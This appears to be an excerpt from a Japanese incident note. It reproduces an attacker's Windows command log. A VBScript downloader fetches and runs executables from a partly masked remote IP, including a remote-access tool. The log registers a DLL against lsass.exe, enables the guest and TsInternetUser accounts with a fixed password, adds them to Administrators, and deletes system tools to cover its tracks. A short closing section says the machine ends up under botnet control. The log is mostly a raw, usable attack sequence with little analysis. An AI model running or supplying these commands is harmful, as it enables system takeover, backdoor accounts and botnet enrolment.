echo sGet.SaveToFile iLocal,2 >>iget.vbe
cscript iget.vbe http://***22.10.60/kuo/web/news/new_data/pcshare.exe pcshare.exe
pcshare.exe
pcshare.exe
pcshare.exe
cscript iget.vbe http://***22.10.60/kuo/web/news/new_data/vmmrag32.exe vmmrag32.exe
cscript iget.vbe http://***22.10.60/kuo/web/news/new_data/vmmrag32.dll vmmrag32.dll
vmmrag32.exe -run
vmmrag32.exe -run
vmmrag32.exe -run
cscript iget.vbe http://***22.10.60/kuo/web/news/new_data/vmmreg32.dll vmmreg32.dll
rundll32 vmmreg32,DllRegisterServer lsass.exe
rundll32 vmmreg32,DllRegisterServer lsass.exe
rundll32 vmmreg32,DllRegisterServer lsass.exe
rundll32 vmmreg32,DllRegisterServer lsass.exe
rundll32 vmmreg32,DllRegisterServer lsass.exe
rundll32 vmmreg32,DllRegisterServer lsass.exe
cscript dl.vbe http://***22.10.60/kuo/web/news/new_data/se.exe se.exe
se.exe
se.exe
se.exe
cscript iget.vbe http://***22.10.60/kuo/web/news/new_data/ming.exe c:\winnt\msagent\ming.exe
cscript iget.vbe http://***22.10.60/kuo/web/news/new_data/tftip.exe c:\winnt\msagent\tftip.exe
cscript iget.vbe http://***22.10.60/kuo/web/news/new_data/ftip.exe c:\winnt\msagent\ftip.exe
net user guest /active:yes
net user guest mheh84kg
net localgroup Administrators guest /add
net user TsInternetUser mheh84kg
net user TsInternetUser /active:yes
net localgroup administrators TsInternetUser /add
copy net1.exe c:\winnt\msagent\ming.exe
copy tftp.exe c:\winnt\msagent\mitp.exe
copy ftp.exe c:\winnt\msagent\mip.exe
del c:\net.exe /s
del c:\net1.exe /s
del c:\ftp.exe /s
del c:\tftp.exe /s
del c:\cscript.exe /s
del c:\wscript.exe /s
ipconfig /all
exit
Ctrl+C



■影響

administratorのパスワードが変更され、ログインできなくなります。(せつない)

Botnetのコントロール下に置かれる。